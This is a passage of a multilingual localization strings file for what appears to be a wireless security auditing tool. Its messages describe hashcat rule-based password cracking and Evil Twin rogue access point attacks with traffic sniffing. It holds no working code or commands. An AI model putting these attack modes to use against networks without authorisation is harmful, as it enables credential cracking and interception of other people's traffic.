selezionato un file di regole in questa sessione [\${normal_color}\${RULES}\${blue_color}]" arr["POLISH",239]="Plik reguły został już wybrany w tej sesji [\${normal_color}\${RULES}\${blue_color}]" arr["GERMAN",239]="Sie haben bereits eine Regeldatei ausgewählt [\${normal_color}\${RULES}\${blue_color}]" arr["TURKISH",239]="Bu oturumda zaten bir kural dosyası seçtiniz [\${normal_color}\${RULES}\${blue_color}]" arr["ARABIC",239]="[\${normal_color}\${RULES}\${blue_color}] لقد اخترت ملف القواعد أثناء هذه الدورة" arr["CHINESE",239]="您已经在此会话期间选择了一个规则文件 [\${normal_color}\${RULES}\${blue_color}]" arr["ENGLISH",240]="Do you want to use this already selected rules file? \${normal_color}\${visual_choice}" arr["SPANISH",240]="¿Quieres utilizar este fichero de reglas ya seleccionado? \${normal_color}\${visual_choice}" arr["FRENCH",240]="Souhaitez vous utiliser les règles déjà sélectionné? \${normal_color}\${visual_choice}" arr["CATALAN",240]="¿Vols fer servir aquest fitxer de regles ja seleccionat? \${normal_color}\${visual_choice}" arr["PORTUGUESE",240]="Você quer usar esse arquivo regras já selecionado? \${normal_color}\${visual_choice}" arr["RUSSIAN",240]="Вы хотите использовать этот уже выбранный файл правил? \${normal_color}\${visual_choice}" arr["GREEK",240]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο κανόνων; \${normal_color}\${visual_choice}" arr["ITALIAN",240]="Vuoi utilizzare questo file di regole già selezionato? \${normal_color}\${visual_choice}" arr["POLISH",240]="Czy chcesz użyć tego już wybranego pliku reguł? \${normal_color}\${visual_choice}" arr["GERMAN",240]="Möchten Sie diese ausgewählte Regeldatei verwenden? \${normal_color}\${visual_choice}" arr["TURKISH",240]="Zaten seçilmiş olan kural dosyasını kullanmak istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",240]="\${normal_color}\${visual_choice} \${green_color}هل تريد استخدام ملف القواعد الذي اخترته؟\${normal_color}" arr["CHINESE",240]="您要使用这个已经选择的规则文件吗?\${normal_color}\${visual_choice}" arr["ENGLISH",241]="The path to the rules file is valid. Script can continue..." arr["SPANISH",241]="La ruta al fichero de reglas es válida. El script puede continuar..." arr["FRENCH",241]="Le chemin vers le fichier règles est valide. Le script peut continuer..." arr["CATALAN",241]="La ruta cap al fitxer de regles és vàlida. El script pot continuar..." arr["PORTUGUESE",241]="O caminho para o arquivo de regras é válido. O script pode continuar..." arr["RUSSIAN",241]="Путь до файла с правилами верный. Скрипт может продолжать..." arr["GREEK",241]="Το μονοπάτι για το αρχείο κανόνων είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",241]="Il percorso del file di regole è valido. Lo script può continuare..." arr["POLISH",241]="Ścieżka do pliku reguł jest prawidłowa. Skrypt może kontynuować..." arr["GERMAN",241]="Der Pfad zur Regeldatei ist gültig. Das Skript kann fortfahren..." arr["TURKISH",241]="Kural dosyasının dizini doğru. Yazılım devam edebilir..." arr["ARABIC",241]="...المسار إلى ملف القواعد صالح. البرنامج يمكن أن يستمر" arr["CHINESE",241]="规则文件的路径有效。脚本可以继续..." arr["ENGLISH",242]="Enter the path of a rules file:" arr["SPANISH",242]="Introduce la ruta de un fichero de reglas:" arr["FRENCH",242]="Saisissez un chemin vers un fichier règles d'attaque:" arr["CATALAN",242]="Introdueix la ruta d'un fitxer de regles:" arr["PORTUGUESE",242]="Digite o caminho para um arquivo de regras:" arr["RUSSIAN",242]="Введите путь файла с правилами:" arr["GREEK",242]="Εισάγετε το μονοπάτι για ένα αρχείο κανόνων:" arr["ITALIAN",242]="Immettere il percorso di un file di regole:" arr["POLISH",242]="Wprowadź ścieżkę do pliku reguł:" arr["GERMAN",242]="Geben Sie den Pfad einer Regeldatei ein:" arr["TURKISH",242]="Kural dosyasının dizinini girin:" arr["ARABIC",242]=":أدخل مسار ملف القواعد" arr["CHINESE",242]="输入规则文件的路径:" arr["ENGLISH",243]="Selected rules file: \${pink_color}\${RULES}\${normal_color}" arr["SPANISH",243]="Fichero de reglas seleccionado: \${pink_color}\${RULES}\${normal_color}" arr["FRENCH",243]="Fichier règles sélectionné: \${pink_color}\${RULES}\${normal_color}" arr["CATALAN",243]="Fitxer de regles seleccionat: \${pink_color}\${RULES}\${normal_color}" arr["PORTUGUESE",243]="Arquivo de regras selecionado: \${pink_color}\${RULES}\${normal_color}" arr["RUSSIAN",243]="Выбранный файл правил: \${pink_color}\${RULES}\${normal_color}" arr["GREEK",243]="Επιλεγμένο αρχείο κανόνων: \${pink_color}\${RULES}\${normal_color}" arr["ITALIAN",243]="File di regole selezionato: \${pink_color}\${RULES}\${normal_color}" arr["POLISH",243]="Wybrany plik reguł: \${pink_color}\${RULES}\${normal_color}" arr["GERMAN",243]="Ausgewählte Regeldatei: \${pink_color}\${RULES}\${normal_color}" arr["TURKISH",243]="Seçilen kural dosyası: \${pink_color}\${RULES}\${normal_color}" arr["ARABIC",243]="\${pink_color}\${RULES}\${blue_color} :ملف القواعد المحدد\${normal_color}" arr["CHINESE",243]="所选规则文件: \${pink_color}\${RULES}\${normal_color}" arr["ENGLISH",244]="Rule based attacks change the words of the dictionary list according to the rules written in the rules file itself. They are very useful. Some distros have predefined rule files (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["SPANISH",244]="Los ataques basados en reglas modifican las palabras de la lista del diccionario según las reglas escritas en el propio fichero de reglas. Son muy útiles. Algunas distros ya traen ficheros predefinidos de reglas (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["FRENCH",244]="Les attaques basées sur des règles modifient les mots du dictionnaire selon les règles établies dans le fichier règles. Ils sont très utiles. Certaines distros comportent des fichiers de règles prédéfinies (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["CATALAN",244]="Els atacs basats en regles modifiquen les paraules de la llista del diccionari segons les regles escrites en el propi fitxer de regles. Són molt útils. Algunes distros ja porten fitxers de regles predefinits (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["PORTUGUESE",244]="Ataques baseados em regras mudam as palavras de um dicionário de acordo com as regras escritas. Eles são muito úteis. Algumas distros já possuem regras predefinidas em (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["RUSSIAN",244]="Атака, основанная на правилах, изменяет слова из словаря в соответствии с правилами, написанными в самом файле правил. Они очень полезны. Некоторые дистрибутивы имеют предустановленные правила (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["GREEK",244]="Οι επιθέσεις κανόνων αλλάζουν τις λέξεις του λεξικού ανάλογα με τους κανόνες που έχουν γραφτεί στο αρχείο κανόνων. Είναι πολύ χρήσιμοι. Κάποιες διανομές έχουν προκαθορισμένα αρχεία κανόνων (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["ITALIAN",244]="Gli attacchi basato su regole cambiano le parole della lista del dizionario secondo le regole scritte nel file delle regole stesso. Essi sono molto utili. Alcune distribuzioni hanno giá file di regole predefiniti (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["POLISH",244]="Ataki bazujące na regułach modyfikują wyrazy ze słowników. Są bardzo przydatne. Niektóre dystrybucje Linuxa mają już predefiniowane pliki reguł (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["GERMAN",244]="Regelbasierte Angriffe modifizieren die Wörter in der Wörterbuchliste gemäß den Regeln, die in der Regeldatei selbst geschrieben sind. Sie sind sehr nützlich. Einige Distributionen bringen bereits vordefinierte Regeldateien mit (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["TURKISH",244]="Kural tabanlı saldırılar, kural listesindeki kurallara göre sözlük listesindeki kelimeleri değiştirir. Çok faydalılar. Bazı dağıtımlarda önceden tanımlanmış kural dosyaları vardır (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["ARABIC",244]="(Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules) تعدل الهجمات المستندة إلى القواعد الكلمات في القاموس وفقًا للقواعد الموضوعة في ملف القواعد. إنها مفيدة للغاية. تحتوي بعض التوزيعات على ملفات قواعد محددة مسبقًا" arr["CHINESE",244]="基于规则的密码破解根据规则文件本身中编写的规则更改字典列表中的单词。它们通常很有用。一些发行版有预定义的规则文件 (例如: Kali: /usr/share/hashcat/rules 和 Wifislax: /opt/hashcat/rules)" arr["ENGLISH",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["SPANISH",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["FRENCH",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["CATALAN",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["PORTUGUESE",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["RUSSIAN",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["GREEK",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["ITALIAN",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["POLISH",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["GERMAN",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["TURKISH",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["ARABIC",245]="// \${normal_color}\${unknown_chipsetvar} \${yellow_color}:Chipset\${normal_color}" arr["CHINESE",245]="// \${yellow_color}Chipset:\${normal_color} \${unknown_chipsetvar}" arr["ENGLISH",246]="Every time you see a text with the prefix \${cyan_color}\${pending_of_translation}\${pink_color} acronym for \"Pending of Translation\", means the translation has been automatically generated and is still pending of review" arr["SPANISH",246]="Cada vez que veas un texto con el prefijo \${cyan_color}\${pending_of_translation}\${pink_color} acrónimo de \"Pending of Translation\", significa que su traducción ha sido generada automáticamente y que aún está pendiente de revisión" arr["FRENCH",246]="Chaque fois que vous voyez un texte précédé par \${cyan_color}\${pending_of_translation}\${pink_color} acronyme de \"Pending of Translation\" cela signifie que la traduction a été faite automatiquement et est en attente de correction" arr["CATALAN",246]="Cada vegada que vegis un text amb el prefix \${cyan_color}\${pending_of_translation}\${pink_color} acrònim de \"Pending of Translation\", vol dir que la traducció ha estat generada automàticament i encara està pendent de revisió" arr["PORTUGUESE",246]="Cada vez que você ver um texto com o prefixo \${cyan_color}\${pending_of_translation}\${pink_color} acrônimo para \"Pending of Translation\" significa que a tradução foi gerada automaticamente e ainda está pendente de revisão" arr["RUSSIAN",246]="Каждый раз, когда вы видите текст с префиксом \${cyan_color}\${pending_of_translation}\${pink_color} (акроним для \"Pending of Translation\"), это означает, что перевод был сгенерирован автоматически и ещё ожидает проверки" arr["GREEK",246]="Κάθε φορά που βλέπετε κάποιο κείμενο με πρόθεμα \${cyan_color}\${pending_of_translation}\${pink_color} (ακρωνύμιο για \"Pending of Translation\"), σημαίνει πως η μετάφραση δημιουργήθηκε αυτόματα και αναμένεται κριτική και πιθανή διόρθωση" arr["ITALIAN",246]="Ogni volta che vedi un testo con il prefisso \${cyan_color}\${pending_of_translation}\${pink_color} acronimo di \"Pending of Translation\" significa che la traduzione è stata generata automaticamente ed è ancora in attesa di revisione" arr["POLISH",246]="Za każdym razem, gdy zobaczysz tekst z symbolem \${cyan_color}\${pending_of_translation}\${pink_color} dla \"Pending of Translation\", to tłumaczenie zostało wygenerowane automatycznie i nadal oczekuje na ręczną korektę" arr["GERMAN",246]="Jedes Mal, wenn Sie einen Text mit dem Präfix \${cyan_color}\${pending_of_translation}\${pink_color} Akronym für \"Pending of Translation\" sehen, bedeutet dies, dass Ihre Übersetzung automatisch erstellt wurde" arr["TURKISH",246]="Yazılarda ön ek olarak \${cyan_color}\${pending_of_translation}\${pink_color} \"Pending of Translation\" görüyorsanız bunun anlamı; o yazı otomatik olarak çevirilmiş ve kontrol edilmeyi beklemektedir" arr["ARABIC",246]="يعني أن الترجمة قد تم إنشاؤها تلقائيا، وهو لا يزال في انتظار المراجعة \"Pending of Translation\" اختصار \${cyan_color}\${pending_of_translation}\${pink_color} في كل مرة ترى نصًا بالبادئة" arr["CHINESE",246]="每次您看到前缀为\${cyan_color}\${pending_of_translation}\${pink_color} (缩写为 \"Pending of Translation\") 的文本时,表示翻译已自动生成,但仍在等待人工审核" arr["ENGLISH",247]="Despite having all essential tools installed, your system uses airmon-zc instead of airmon-ng. In order to work properly you need to install ethtool and you don't have it right now. Please, install it and launch the script again" arr["SPANISH",247]="A pesar de tener todas las herramientas esenciales instaladas, tu sistema usa airmon-zc en lugar de airmon-ng. Para poder funcionar necesitas tener instalado ethtool y tú no lo tienes en este momento. Por favor, instálalo y vuelve a lanzar el script" arr["FRENCH",247]="En dépit d'avoir tous les outils essentiels installés votre système utilise airmon-zc au lieu de airmon-ng. Vous devez installer ethtool que vous n'avez pas à ce moment. S'il vous plaît, installez-le et relancez le script" arr["CATALAN",247]="Tot i tenir totes les eines essencials instal·lades, el teu sistema fa servir airmon-zc en lloc del airmon-ng. Per poder funcionar necessites tenir instal·lat ethtool i tu no el tens en aquest moment. Si us plau, instal·la-ho i torna a executar el script" arr["PORTUGUESE",247]="Apesar de ter todas as ferramentas essenciais instaladas, o sistema utiliza airmon-zc em vez de airmon-ng. Para funcionar você precisa instalar ethtool e você não tem neste momento. Por favor, instale e execute o script novamente" arr["RUSSIAN",247]="Не смотря на то, что все базовые инструменты установлены, система использует airmon-zc вместо airmon-ng. Чтобы работать должным образом, должен быть установлен пакет ethtool, а в данный момент он отсутствует. Пожалуйста, установите его и запустите скрипт снова" arr["GREEK",247]="Παρά του ότι είναι εγκατεστημένα όλα τα απραίτητα εργαλεία, το σύστημά σας χρησιμοποιεί το airmon-zc αντί το airmon-ng. Για να λειτουργήσει σωστά πρέπει να εγκαταστήσετε το ethtool το οποίο δεν το έχετε αυτή τη στιγμή. Παρακαλώ, εγκαταστήστε το και ξανανοίξτε το script" arr["ITALIAN",247]="Pur avendo tutti gli strumenti essenziali installati, il sistema utilizza airmon-zc invece di airmon-ng. Per funzionare è necessario installare ethtool e tu non lo hai in questo momento. Si prega di installaro e lanciare nuovamente lo script" arr["POLISH",247]="Mimo, iż zainstalowano wszystkie niezbędne narzędzia, twój system zamiast airmon-ng wykorzystuje airmon-zc. Aby móc korzystać ze skryptu, musisz zainstalować program ethtool, którego obecnie nie masz. Zainstaluj go i ponownie uruchom skrypt" arr["GERMAN",247]="Obwohl alle wesentlichen Tools installiert sind, verwendet Ihr System airmon-zc anstelle von airmon-ng. Um zu arbeiten, müssen Sie ethtool installiert haben und Sie haben es zur Zeit nicht. Bitte installieren Sie es und starten Sie das Skript erneut" arr["TURKISH",247]="Tüm gerekli araçlara sahip olmanıza rağmen, sisteminiz airmon-ng yerine airmon-zc kullanıyor. Düzgün çalışması için ethtool yüklemeniz gerekiyor ve şu anda ona sahip değilsiniz. Lütfen kurun ve komut dosyasını tekrar başlatın" arr["ARABIC",247]="وليس لديك الآن. من فضلك ، قم بتثبيته وتشغيل البرنامج النصي مرة أخرى ethtool لكي تعمل بشكل صحيح ، تحتاج إلى تثبيت .airmon-ng بدلاً من airmon-zc على الرغم من تثبيت جميع الأدوات الأساسية ، فإن نظامك يستخدم" arr["CHINESE",247]="尽管安装了所有必要的工具,您的系统还是使用 airmon-zc 而不是 airmon-ng。为了脚本能够正常工作,您需要安装 ethtool,请安装它并再次启动脚本" arr["ENGLISH",248]="noisy mode, non stop" arr["SPANISH",248]="modo noisy, sin interrupciones" arr["FRENCH",248]="mode bruyant, pas d'interruptions" arr["CATALAN",248]="mode noisy, sense interrupcions" arr["PORTUGUESE",248]="modo agressivo, constante" arr["RUSSIAN",248]="noisy режим (работает пока не остановлен явно)" arr["GREEK",248]="noisy mode, χωρίς διακοπές" arr["ITALIAN",248]="modalità noisy, senza interruzioni" arr["POLISH",248]="tryb noisy, bez przerw" arr["GERMAN",248]="noisy-Modus, ununterbrochen" arr["TURKISH",248]="noisy mod, aralıksız" arr["ARABIC",248]="بدون توقف ، noisy mode الوضع" arr["CHINESE",248]="嘈杂模式,不停止" arr["ENGLISH",249]="5. Portuguese" arr["SPANISH",249]="5. Portugués" arr["FRENCH",249]="5. Portugais" arr["CATALAN",249]="5. Portuguès" arr["PORTUGUESE",249]="5. Português" arr["RUSSIAN",249]="5. Португальский" arr["GREEK",249]="5. Πορτογαλικά" arr["ITALIAN",249]="5. Portoghese" arr["POLISH",249]="5. Portugalski" arr["GERMAN",249]="5. Portugiesisch" arr["TURKISH",249]="5. Portekizce" arr["ARABIC",249]="5. البرتغالية" arr["CHINESE",249]="5. 葡萄牙语" arr["ENGLISH",250]="If you see any bad translation or just want \${cyan_color}\${pending_of_translation}\${pink_color} marks to dissapear, write me to \${normal_color}\${mail}\${pink_color} to collaborate with translations" arr["SPANISH",250]="Si ves alguna traducción incorrecta o quieres que desparezcan las marcas \${cyan_color}\${pending_of_translation}\${pink_color}, escríbeme a \${normal_color}\${mail}\${pink_color} para colaborar con las traducciones" arr["FRENCH",250]="Si vous voyez des erreurs et contresens ou si vous voulez voir les marques \${cyan_color}\${pending_of_translation}\${pink_color} disparaitre, écrivez à \${normal_color}\${mail}\${pink_color} pour collaborer avec les traductions" arr["CATALAN",250]="Si veus alguna traducció incorrecta o vols que desapareguin les marques \${cyan_color}\${pending_of_translation}\${pink_color}, escriu-me a \${normal_color}\${mail}\${pink_color} per col·laborar amb les traduccions" arr["PORTUGUESE",250]="Se você ver qualquer erro de tradução ou quer que as marcas \${cyan_color}\${pending_of_translation}\${pink_color} sejam retiradas, escreva para \${normal_color}\${mail}\${pink_color} para colaborar com as traduções" arr["RUSSIAN",250]="Если вы видите плохой перевод или просто хотите снять пометку \${cyan_color}\${pending_of_translation}\${pink_color} напишите мне на \${normal_color}\${mail}\${pink_color} для сотрудничества с переводчиками" arr["GREEK",250]="Αν δείτε κάποια λανθασμένη ή ατελής μετάφραση ή απλά θέλετε τα σημάδια \${cyan_color}\${pending_of_translation}\${pink_color} να εξαφανιστούν, στείλτε μου στο \${normal_color}\${mail}\${pink_color} για να συνεργαστούμε με τις μεταφράσεις" arr["ITALIAN",250]="Se vedi qualche errore di traduzione o vuoi che spariscano le marche \${cyan_color}\${pending_of_translation}\${pink_color}, scrivimi a \${normal_color}\${mail}\${pink_color} per collaborare con le traduzioni" arr["POLISH",250]="Jeśli widzisz nieprawidłowe tłumaczenie lub chcesz usunąć tagi \${cyan_color}\${pending_of_translation}\${pink_color}, napisz do mnie \${normal_color}\${mail}\${pink_color}, aby współpracować przy tłumaczeniu" arr["GERMAN",250]="Wenn Sie eine falsche Übersetzung sehen oder möchten, dass die Marken \${cyan_color}\${pending_of_translation}\${pink_color} verschwinden, schreiben Sie mich an \${normal_color}\${mail}\${pink_color}, um mit den Übersetzungen zusammenzuarbeiten" arr["TURKISH",250]="Eğer kötü bir çeviri gördüyseniz veya sadece çeviri yapmak istiyorsanız \${cyan_color}\${pending_of_translation}\${pink_color} işaretleyip bana yazın. \${normal_color}\${mail}" arr["ARABIC",250]="\${normal_color}\${mail}\${pink_color} للتعاون مع الترجمات \${cyan_color}\${pending_of_translation}\${pink_color} رؤية العلامات تختفي ، فاكتب لي إلى إذا رأيت أي ترجمة سيئة أو أردت فقط" arr["CHINESE",250]="如果你看到任何不好的翻译或者只是想让 \${cyan_color}\${pending_of_translation}\${pink_color} 标记消失,写信给我到 \${normal_color}\${mail}\${pink_color} 与翻译合作" arr["ENGLISH",251]="You have chosen the same language that was selected. No changes will be done" arr["SPANISH",251]="Has elegido el mismo idioma que estaba seleccionado. No se realizarán cambios" arr["FRENCH",251]="Vous venez de choisir la langue qui est en usage. Pas de changements" arr["CATALAN",251]="Has triat el mateix idioma que estava seleccionat. No es realitzaran canvis" arr["PORTUGUESE",251]="Você escolheu o mesmo idioma que estava selecionado. Nenhuma alteração será feita" arr["RUSSIAN",251]="Вы выбрали такой же язык, какой и был. Никаких изменений не будет сделано" arr["GREEK",251]="Επιλέξατε την ίδια γλώσσα που ήταν ήδη επιλεγμένη. Δεν θα γίνει καμία αλλαγή" arr["ITALIAN",251]="Hai scelto la stessa lingua che è giá selezionata. Non sará effettutata nessuna modifica" arr["POLISH",251]="Wybrałeś ten sam język, który jest używany. Żadne zmiany nie zostaną wprowadzone" arr["GERMAN",251]="Sie haben die selbe Sprache ausgewählt. Es werden keine Änderungen vorgenommen" arr["TURKISH",251]="Seçilmiş olan dili seçtiniz. Hiçbir değişiklik yapılmayacak" arr["ARABIC",251]="لقد اخترت نفس اللغة التي تم اختيارها. لن يتم إجراء أي تغييرات" arr["CHINESE",251]="您选择的语言与当前语言相同。不会做任何改变" arr["ENGLISH",252]="7. Evil Twin attacks menu" arr["SPANISH",252]="7. Menú de ataques Evil Twin" arr["FRENCH",252]="7. Menu des attaques Evil Twin" arr["CATALAN",252]="7. Menú d'atacs Evil Twin" arr["PORTUGUESE",252]="7. Menu de ataques Evil Twin" arr["RUSSIAN",252]="7. Меню атак Злой Двойник" arr["GREEK",252]="7. Μενού επιθέσεων Evil Twin" arr["ITALIAN",252]="7. Menu degli attacchi Evil Twin" arr["POLISH",252]="7. Menu ataków Evil Twin" arr["GERMAN",252]="7. Evil Twin Angriffsmenü" arr["TURKISH",252]="7. Şeytani İkiz saldırısı menüsü" arr["ARABIC",252]="7. Evil Twin قائمة هجمات" arr["CHINESE",252]="7. 邪恶双胞胎 AP 攻击菜单" arr["ENGLISH",253]="Evil Twin attacks menu" arr["SPANISH",253]="Menú de ataques Evil Twin" arr["FRENCH",253]="Menu des attaques Evil Twin" arr["CATALAN",253]="Menú d'atacs Evil Twin" arr["PORTUGUESE",253]="Menu de ataques Evil Twin" arr["RUSSIAN",253]="Меню атак Злой Двойник" arr["GREEK",253]="Μενού επιθέσεων Evil Twin" arr["ITALIAN",253]="Menu degli attacchi Evil Twin" arr["POLISH",253]="Menu ataków Evil Twin" arr["GERMAN",253]="Evil Twin Angriffsmenü" arr["TURKISH",253]="Şeytani İkiz saldırısı menüsü" arr["ARABIC",253]="Evil Twin قائمة هجمات" arr["CHINESE",253]="邪恶双胞胎攻击菜单" arr["ENGLISH",254]="In order to use the Evil Twin just AP and sniffing attacks, you must have another one interface in addition to the wifi network interface will become the AP, which will provide internet access to other clients on the network. This doesn't need to be wifi, can be ethernet" arr["SPANISH",254]="Para utilizar los ataques de Evil Twin de solo AP y con sniffing, deberás tener además de la interfaz wifi que se transformará en el AP, otra interfaz de red con acceso a internet para proporcionar este servicio a otros clientes de la red. Esta no hace falta que sea wifi, puede ser ethernet" arr["FRENCH",254]="Pour effectuer l'attaque Evil Twin combinant Rogue AP et capture des données vous avez besoin d'une interface réseau en plus de celle utilisée pour créer le point d'accès. Cette interface supplémentaire devra être connecté à l'internet afin d'en proportionner l'accès aux clients du réseau. L'interface peut être une interface ethernet ou wifi" arr["CATALAN",254]="Per utilitzar els atacs d'Evil Twin només amb AP i sniffing, hauràs de tenir a més de la interfície wifi que es transformarà en el AP, una altre interfície de xarxa amb accés a internet per proporcionar aquest servei a altres clients de la xarxa. Aquesta no cal que sigui wifi, pot ser ethernet" arr["PORTUGUESE",254]="Para usar ataques Evil Twin Somente AP e com sniffing, você deve ter além da interface wifi que se tornará o AP, uma outra interface de rede com acesso à internet para fornecer este serviço a outros clientes da rede. Não precisa ser wifi, pode ser ethernet" arr["RUSSIAN",254]="Чтобы использовать Злого Двойника точки доступа и атаку сниффинга, вы должны иметь другой интерфейс в дополнение к сетевому интерфейсу wifi. Сетевой интерфейс wifi станет точкой доступа, к которому будут подключаться жертвы. Для того, чтобы у этой точки доступа было Интернет-подключение и используется второй сетевой адаптер. Ему необязательно быть wifi, достаточно ethernet" arr["GREEK",254]="Για να χρησιμοποιήσετε τις επιθέσεις sniffing και Evil Twin με AP, πρέπει να έχετε άλλη μία διεπαφή παράλληλα με την διεπαφή δικτύου wifi που θα γίνει AP, η οποία θα παρέχει πρόσβαση στο διαδίκτυο στους άλλες χρήστες του δικτύου. Δεν χρειάζεται να είναι wifi, μπορεί να έιναι και ethernet" arr["ITALIAN",254]="Per utilizzare gli attacchi Evil Twin con solo AP e con sniffing, è necessario che, oltre all'interfaccia wifi che diventerà l'AP, sia presente un'altra interfaccia di rete con connessione internet per fornire questo servizio agli altri clienti della rete. Questo non ha bisogno di essere wifi, può essere ethernet" arr["POLISH",254]="Aby używać ataków Evil Twin tylko z AP i sniffingiem pakietów, musisz oprócz interfejsu wifi, który stanie się AP, posiadać drugi interfejs sieciowy z dostępem do internetu, aby go udzielić innym klientom w sieci. To nie musi być wifi, może to być ethernet" arr["GERMAN",254]="Um die Evil-Twin-Angriffe von nur AP und mit Sniffing zu verwenden, müssen Sie zusätzlich zu dem WLAN-Interface, das in den AP umgewandelt wird, ein anderes Netzwerk-Interface mit Internetzugang haben, um diesen Dienst anderen Clients im Netzwerk bereitzustellen. Dies muss nicht WLAN sein, es kann Ethernet sein" arr["TURKISH",254]="Evil Twin'i sadece AP ve sniffing saldırılarını kullanmak için, ağdaki diğer istemcilere internet erişimi sağlayacak olan WiFi ağ arayüzüne ek olarak başka bir arabiriminiz de AP olacaktır. Bu wifi olması gerekmez, ethernet olabilir" arr["ARABIC",254]="ethernet يمكن أن يكون ، wifi والتي ستوفر الوصول إلى الإنترنت للعملاء الآخرين على الشبكة. هذا لا يلزم أن يكون ، AP ستصبح wifi وهجمات الشم ، يجب أن يكون لديك واجهة واحدة أخرى بالإضافة إلى واجهة شبكة Evil Twin just AP من أجل استخدام" arr["CHINESE",254]="为了使用邪恶双胞胎 (仅 AP) 嗅探攻击,除了已选择的 wifi 网络接口将成为 AP 之外,您还必须有另一个接口,它将为网络上的其他客户端提供互联网访问。这不需要是 wifi,可以是以太网" arr["ENGLISH",255]="without sniffing, just AP" arr["SPANISH",255]="sin sniffing, solo AP" arr["FRENCH",255]="rogue AP sans capture des données" arr["CATALAN",255]="sense sniffing, només AP" arr["PORTUGUESE",255]="somente AP, sem sniffing" arr["RUSSIAN",255]="без сниффинга, просто ТД" arr["GREEK",255]="χωρίς sniffing, μόνο AP" arr["ITALIAN",255]="senza sniffing, solo AP" arr["POLISH",255]="brak sniffingu, tylko AP" arr["GERMAN",255]="kein Sniffing, nur AP" arr["TURKISH",255]="siniffing olmadan, sadece AP" arr["ARABIC",255]="AP بدون شم ، فقط" arr["CHINESE",255]="仅 AP 模式 (无嗅探)" arr["ENGLISH",256]="5. Evil Twin attack just AP" arr["SPANISH",256]="5. Ataque Evil Twin solo AP" arr["FRENCH",256]="5. Attaque Evil Twin Rogue AP simple" arr["CATALAN",256]="5. Atac Evil Twin només AP" arr["PORTUGUESE",256]="5. Ataque Evil Twin só AP" arr["RUSSIAN",256]="5. Атака Злой Двойник, только ТД" arr["GREEK",256]="5. Επίθεση Evil Twin μόνο AP" arr["ITALIAN",256]="5. Attacco Evil Twin solo AP" arr["POLISH",256]="5. Atak Evil Twin tylko AP" arr["GERMAN",256]="5. Attack Evil Twin nur AP" arr["TURKISH",256]="5. Şeytani İkiz saldırısı sadece AP" arr["ARABIC",256]="5. Evil Twin فقط AP هجوم" arr["CHINESE",256]="5. 邪恶双胞胎攻击 (仅 AP)" arr["ENGLISH",257]="with sniffing" arr["SPANISH",257]="con sniffing" arr["FRENCH",257]="avec capture des données" arr["CATALAN",257]="amb sniffing" arr["PORTUGUESE",257]="com sniffing" arr["RUSSIAN",257]="со сниффингом" arr["GREEK",257]="με sniffing" arr["ITALIAN",257]="con sniffing" arr["POLISH",257]="ze sniffingiem" arr["GERMAN",257]="mit sniffing" arr["TURKISH",257]="sniffing ile" arr["ARABIC",257]="مع شم" arr["CHINESE",257]="使用嗅探" arr["ENGLISH",258]="If you use the attack without sniffing, just the AP, you can use any external sniffer script" arr["SPANISH",258]="Si utilizas el ataque sin sniffing, solo AP, podrás usar cualquier programa sniffer externo al script" arr["FRENCH",258]="Si vous lancez l'attaque sans capture des données (Rogue AP) vous pouvez utiliser un programme externe pour les capturer" arr["CATALAN",258]="Si utilitzes l'atac sense sniffing, només AP, podràs fer servir qualsevol programa sniffer extern a l'script" arr["PORTUGUESE",258]="Se você usar o ataque sem sniffing, apenas AP, você pode usar qualquer programa sniffer externo ao script" arr["RUSSIAN",258]="Если вы используете атаку без сниффинга, только ТД, то вы сможете использовать любое внешнее ПО для сниффинга" arr["GREEK",258]="Αν χρησιμοποιήσετε την επίθεση χωρίς sniffing, μόνο AP, θα μπορείτε να χρησιμοποιήσετε οποιοδήποτε εξωτερίκό sniffer script" arr["ITALIAN",258]="Se si utilizza l'attacco senza sniffing, solo AP, è possibile utilizzare qualsiasi programma di sniffer esterno per lo script" arr["POLISH",258]="Jeśli użyjesz ataku bez sniffingu, tylko AP, możesz użyć dowolnego zewnętrznego programu sniffującego" arr["GERMAN",258]="Wenn Sie den Angriff ohne Sniffing, nur AP, verwenden, können Sie jedes Sniffer-Programm außerhalb des Skripts verwenden" arr["TURKISH",258]="Saldırıyı kullanmadan sadece AP'yi kullanırsanız, sniffer yazılımı için herhangi bir harici komut kullanabilirsiniz" arr["ARABIC",258]="يمكنك استخدام أي برنامج خارجي للشم ، AP إذا كنت تستخدم الهجوم بدون شم ، فقط" arr["CHINESE",258]="如果你在没有进行流量嗅探的情况下进行攻击,那么你可以使用任何外部嗅探器脚本" arr["ENGLISH",259]="6. Evil Twin AP attack with sniffing" arr["SPANISH",259]="6. Ataque Evil Twin AP con sniffing" arr["FRENCH",259]="6. Attaque Evil Twin avec Rogue AP et capture des données" arr["CATALAN",259]="6. Atac Evil Twin AP amb sniffing" 